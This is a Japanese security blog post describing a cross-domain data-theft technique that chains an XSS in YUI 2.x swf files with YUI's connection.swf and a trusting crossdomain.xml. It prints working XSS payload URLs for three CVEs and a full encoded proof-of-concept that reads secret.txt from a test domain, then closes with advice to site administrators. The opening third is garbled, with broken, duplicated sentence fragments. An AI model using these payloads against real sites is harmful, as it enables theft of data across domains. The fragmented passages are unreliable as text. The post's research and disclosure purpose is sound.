Flashを使った、ちょっと変わった情報奪取手法を紹介します。
この手法、以前から条件によっては攻撃が可能になる場合があるだろうと想像していたんですが、なかなか実例にぶつからず、2013年に開催されたサイボウズの脆弱性発見コンテスト「cybozu.com Security Challenge」で初めて本当に動作するものを発見しました。
実は既に「SECCON 2013 全国大会」でも一部詳細を発表しています。スライドの15ページの辺りから書いてある件です。
http://www.slideshare.net/masatokinugawa/cybozu-security-challenge/15
発表の時点ではサイボウズ側で修正されていなかったので、具体的な箇所を伏せていますが、今は修正されたので、具体的な箇所をあげながら説明したいと思います。
なお、この問題はFlash自体の脆弱性ではないので、今後も条件がそろえば問題が起こります。
ターゲットのドメインを
ターゲットのドメインの
この設定に致命的な間違いはありません。
しかし、特殊な状況では、
特殊な状況とは、次のような条件がそろった場合です。
1.
2.
3.
突然出てきた、
このswfファイルが具体的に何をやっているのか、ソースコードをみてみます。
yui2/connection.as at master · yui/yui2 · GitHub
この手法、以前から条件によっては攻撃が可能になる場合があるだろうと想像していたんですが、なかなか実例にぶつからず、2013年に開催されたサイボウズの脆弱性発見コンテスト「cybozu.com Security Challenge」で初めて本当に動作するものを発見しました。
実は既に「SECCON 2013 全国大会」でも一部詳細を発表しています。スライドの15ページの辺りから書いてある件です。
http://www.slideshare.net/masatokinugawa/cybozu-security-challenge/15
発表の時点ではサイボウズ側で修正されていなかったので、具体的な箇所を伏せていますが、今は修正されたので、具体的な箇所をあげながら説明したいと思います。
なお、この問題はFlash自体の脆弱性ではないので、今後も条件がそろえば問題が起こります。
攻撃の前提条件
http://app/
とします。ターゲットのドメインの
crossdomain.xml
のallow-access-from
には、十分に信頼できるドメイン、http://trust/
がリストされているとします。この設定に致命的な間違いはありません。
しかし、特殊な状況では、
app
にある情報をtrust
の脆弱性を経由して奪取できてしまいます。特殊な状況とは、次のような条件がそろった場合です。
1.
trust
が、app
のcrossdomain.xml
のallow-access-from
にリストされている (前述したこと)2.
trust
にXSS脆弱性がある3.
trust
にconnection.swf
(あるいはそれに準ずる機能を持つswf)があるconnection.swf
とは何でしょうか。connection.swfを使った攻撃方法
connection.swf
はYUI Library 2.x に同梱されている、クロスドメインで情報を取得するためのswfファイルです。このswfファイルが具体的に何をやっているのか、ソースコードをみてみます。
yui2/connection.as at master · yui/yui2 · GitHub
https://github.com/yui/yui2/blob/master/src/connection/as/com/yui/util/connection.as
26行目の
Flash側の
ここで指定したURLに、57行目の
指定したURLのロードに成功した場合、
これが最終的に後半の方にある
第1引数にある、
まとめると、同一オリジン(
ここで注目すべきは、別ドメインのアプリケーション(
ただそれは、あくまで
悪いことをしたいですが、どうしましょう?そんなときに使えるのがXSSですね!
XSSを探すのが大変ですか?朗報です!
Security Bulletin: Addressing a Vulnerability in YUI 2.4.0 through YUI 2.9.0
http://yuilibrary.com/support/20121030-vulnerability/
脆弱性は以下の部分にあります。すべて
charts.swf
http://yui.vulnerabledoma.in/charts/assets/charts.swf?allowedDomain=\"})))}catch(e){alert(1)}//
uploader.swf
http://yui.vulnerabledoma.in/uploader/assets/uploader.swf?YUISwfId=\"))}catch(e){alert(1)}//
swfstore.swf
http://yui.vulnerabledoma.in/swfstore/swfstore.swf?YUIBridgeCallback=a&YUISwfId=\"))}catch(e){alert(1)}//
ここまでで攻撃に使うパーツの説明は全て終わりました!
最後にこれらを使って、実際に動作する例をお見せしましょう。
ターゲットのアプリのドメインを
http://xdtestapp.vulnerabledoma.in/crossdomain.xml
さあ、この条件で、
以下にアクセスして、"go"ボタンをクリックすると、アプリのドメインに置かれた
http://yui.vulnerabledoma.in/charts/assets/charts.swf?allowedDomain=\"}%29%29%29}catch%28e%29{document.body.innerHTML=unescape(location.hash.substring(1))}//&#%3Cembed%20name%3D%22flash%22%20src%3D%22http%3A%2F%2Fyui.vulnerabledoma.in%2Fconnection%2Fconnection.swf%22%20type%3D%22application%2Fx-shockwave-flash%22%3E%3C%2Fembed%3E%0A%3Ctextarea%20id%3D%22textarea%22%3E%0AYAHOO%3D%7B%7D%3B%0AYAHOO.util%3D%7B%7D%3B%0AYAHOO.util.Connect%3D%7B%7D%3B%0AYAHOO.util.Connect.handleXdrResponse%3Dfunction%28x%29%7B%0A%09if%28typeof%20x.responseText%21%3D%27undefined%27%29%7B%0A%09%09alert%28decodeURIComponent%28x.responseText%29%29%3B%0A%09%7D%0A%7D%0Aflash.send%28%22http%3A%2F%2Fxdtestapp.vulnerabledoma.in%2Fsecret.txt%22%2C%7Bmethod%3A%22GET%22%7D%2C0%29%0A%3C%2Ftextarea%3E%0A%3Cbutton%20onclick%3Deval%28document.getElementById%28%22textarea%22%29.value%29%3Ego%3C%2Fbutton%3E
うまくいけば以下の画像のようになるはずです。(クリックで拡大)
URL内に全てのコードをぶち込んでいるので文字の迫力が凄いですが、実体は以下の部分でただ
サイボウズのケースでも、アプリのドメインの
はい、以上です。Flashを使った少し変わった情報奪取手法を紹介しました!
この手法、普通は自分のアプリには影響のない、別ドメインの脆弱性をうまく使うことで、自分のアプリまで攻撃されてしまうというのがとても面白いと思います。
この問題から言えることは、
このような問題も起こるので、サイト管理者は、一度
26行目の
ExternalInterface.addCallback()
でsend()
というFlashの関数をJavaScript経由で呼び出せるようにしています。ExternalInterface.addCallback("send", send);これで、
<embed id=flash src=connection.swf></embed>
等とすると、ロードしているページがFlashファイルがあるオリジンと同じなら、JavaScriptからflash.send()
とすれば、Flashの関数を呼び出せるようになります。Flash側の
send()
をみてみます。public function send(uri:String, cb:Object, id:uint):void {引数から、URL、HTTP method、POSTデータなどを渡せるのがわかります。
var loader:URLLoader = new URLLoader(),
request:URLRequest = new URLRequest(uri),
timer:Timer,
prop:String;
for (prop in cb) {
switch (prop) {
case "method":
if(cb.method === 'POST') {
request.method = URLRequestMethod.POST;
}
break;
case "data":
request.data = cb.data;
break;
case "timeout":
timer = new Timer(cb.timeout, 1);
break;
}
}
loaderMap[id] = { c:loader, readyState: 0, t:timer };
defineListeners(id, timer);
addListeners(loader, timer);
loader.load(request);
start(id);
if (timer) {
timer.start();
}
}
ここで指定したURLに、57行目の
loader.load(request);
を通じてGET/POSTを送れるようになっています。指定したURLのロードに成功した場合、
success()
という関数がイベントリスナを経由して実行されます。success()
をみてみます。private function success(e:Event, id:uint, timer:Timer):void {先頭の方にある
var data:String = encodeURI(e.target.data),
response:Object = {
tId: id,
statusText: 'xdr:success',
responseText: data
};
loaderMap[id].readyState = 4;
if (timer && timer.running) {
timer.stop();
}
ExternalInterface.call(handler, response);
destroy(id);
}
e.target.data
に、指定したURLから返ってくるレスポンスbodyが入ります。これが最終的に後半の方にある
ExternalInterface.call(handler, response);
のresponse
の部分に渡ります。ExternalInterface.call()
は第1引数がJavaScriptの関数、第2引数がその関数に渡す引数になります。第1引数にある、
handler
は定数で、コード全体のはじめの方で定義されています。private var handler:String = 'YAHOO.util.Connect.handleXdrResponse';この関数の引数に、レスポンスbodyの中身が渡されるということです。
まとめると、同一オリジン(
http://trust/
内)のページにconnection.swf
をロードして、Flashから読み取り可能なURLを指定してflash.send()
を呼び出せば、レスポンスbodyがJavaScriptの引数に入るような仕組みになっている、というかんじです。ここで注目すべきは、別ドメインのアプリケーション(
app
)のcrossdomain.xml
のallow-access-from
にconnection.swf
が設置されたドメイン(trust
)がリストされていれば、app
のレスポンスbodyでさえもtrust
から取得できるということです。ただそれは、あくまで
connection.swf
を動かせればの話です。connection.swf
を動かすようなページを人様のドメインで普通は勝手に作れません。悪いことをしたいですが、どうしましょう?そんなときに使えるのがXSSですね!
trust
内にあるXSSを探して、XSSを使ってconnection.swf
をロードしてしまえばいいんです。XSSを探すのが大変ですか?朗報です!
connection.swf
はYUI Library 2.xに同梱されていると冒頭で書きましたが、都合がいいことに、古いYUI Library 2.xなら、XSS脆弱性を持ったswfファイルがもれなく3つ(CVE-2012-5881,CVE-2012-5882,CVE-2012-5883)ついてくるんです!アドバイザリが以下にあります。Security Bulletin: Addressing a Vulnerability in YUI 2.4.0 through YUI 2.9.0
http://yuilibrary.com/support/20121030-vulnerability/
脆弱性は以下の部分にあります。すべて
ExternalInterface.call()
のバグです。charts.swf
http://yui.vulnerabledoma.in/charts/assets/charts.swf?allowedDomain=\"})))}catch(e){alert(1)}//
uploader.swf
http://yui.vulnerabledoma.in/uploader/assets/uploader.swf?YUISwfId=\"))}catch(e){alert(1)}//
swfstore.swf
http://yui.vulnerabledoma.in/swfstore/swfstore.swf?YUIBridgeCallback=a&YUISwfId=\"))}catch(e){alert(1)}//
ここまでで攻撃に使うパーツの説明は全て終わりました!
実際に動作する例
最後にこれらを使って、実際に動作する例をお見せしましょう。
ターゲットのアプリのドメインを
xdtestapp.vulnerabledoma.in
、crossdomain.xml
で信頼するドメインをyui.vulnerabledoma.in
とし、以下のようにアプリ側のcrossdomain.xml
を指定します。http://xdtestapp.vulnerabledoma.in/crossdomain.xml
<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<site-control permitted-cross-domain-policies="master-only" />
<allow-access-from domain="yui.vulnerabledoma.in" />
</cross-domain-policy>
yui.vulnerabledoma.in
には、YUI 2.xのconnection.swf
とXSS脆弱性があるとします。さあ、この条件で、
yui.vulnerabledoma.in
のconnection.swf
+ XSS から、アプリのドメインの情報を取得する、というのをやります!以下にアクセスして、"go"ボタンをクリックすると、アプリのドメインに置かれた
secret.txt
の中身をアラートします。Chromeで動作することを確認しています。http://yui.vulnerabledoma.in/charts/assets/charts.swf?allowedDomain=\"}%29%29%29}catch%28e%29{document.body.innerHTML=unescape(location.hash.substring(1))}//&#%3Cembed%20name%3D%22flash%22%20src%3D%22http%3A%2F%2Fyui.vulnerabledoma.in%2Fconnection%2Fconnection.swf%22%20type%3D%22application%2Fx-shockwave-flash%22%3E%3C%2Fembed%3E%0A%3Ctextarea%20id%3D%22textarea%22%3E%0AYAHOO%3D%7B%7D%3B%0AYAHOO.util%3D%7B%7D%3B%0AYAHOO.util.Connect%3D%7B%7D%3B%0AYAHOO.util.Connect.handleXdrResponse%3Dfunction%28x%29%7B%0A%09if%28typeof%20x.responseText%21%3D%27undefined%27%29%7B%0A%09%09alert%28decodeURIComponent%28x.responseText%29%29%3B%0A%09%7D%0A%7D%0Aflash.send%28%22http%3A%2F%2Fxdtestapp.vulnerabledoma.in%2Fsecret.txt%22%2C%7Bmethod%3A%22GET%22%7D%2C0%29%0A%3C%2Ftextarea%3E%0A%3Cbutton%20onclick%3Deval%28document.getElementById%28%22textarea%22%29.value%29%3Ego%3C%2Fbutton%3E
うまくいけば以下の画像のようになるはずです。(クリックで拡大)
URL内に全てのコードをぶち込んでいるので文字の迫力が凄いですが、実体は以下の部分でただ
location.hash
(#
以降)の文字列をURLデコードしてページ内にHTMLを挿入しているだけです。document.body.innerHTML=unescape(location.hash.substring(1))ページ内に挿入されるHTMLである、
#
以降の部分をデコードすると以下のようになります。<embed name="flash" src="http://yui.vulnerabledoma.in/connection/connection.swf" type="application/x-shockwave-flash"></embed>ここでは、
<textarea id="textarea">
YAHOO={};
YAHOO.util={};
YAHOO.util.Connect={};
YAHOO.util.Connect.handleXdrResponse=function(x){
if(typeof x.responseText!='undefined'){
alert(decodeURIComponent(x.responseText));
}
}
flash.send("http://xdtestapp.vulnerabledoma.in/secret.txt",{method:"GET"},0)
</textarea>
<button onclick=eval(document.getElementById("textarea").value)>go</button>
connection.swf
をembed
タグでロードし、JavaScriptの関数、YAHOO.util.Connect.handleXdrResponse
を自分の好きな処理をするように書き換えることで、ExternalInterface.call(handler, response);
でレスポンスbodyが渡った時に、これをalert()
するようにしています。最後に、取得したいURLを引数にセットしてflash.send()
を呼び出すことで、alertダイアログにsecret.txt
のレスポンスbodyが表示されます。サイボウズのケースでも、アプリのドメインの
crossdomain.xml
でYUIのファイルが存在する別ドメインをリストしていたため、connection.swf
+ XSS のコンボで、アプリのドメインの情報を取り出すことができてしまっていました。はい、以上です。Flashを使った少し変わった情報奪取手法を紹介しました!
この手法、普通は自分のアプリには影響のない、別ドメインの脆弱性をうまく使うことで、自分のアプリまで攻撃されてしまうというのがとても面白いと思います。
この問題から言えることは、
crossdomain.xml
のallow-access-from
にどこかのドメインを書くということは、書いたドメインが信頼できるのは当然のことで、さらに、都合の悪いFlashがないことまで保証できない限り、安全とは言い切れないということです。管理下にないサイトだったらそこまでの検証の仕様がないわけで、管理下にないサイトをここに追加すること自体がかなり危なっかしいことと言えると思います。このような問題も起こるので、サイト管理者は、一度
crossdomain.xml
の設定を見直されることをお勧めします。もはや使っていないけど放置したままというところも多いのではないでしょうか。
0 件のコメント:
コメントを投稿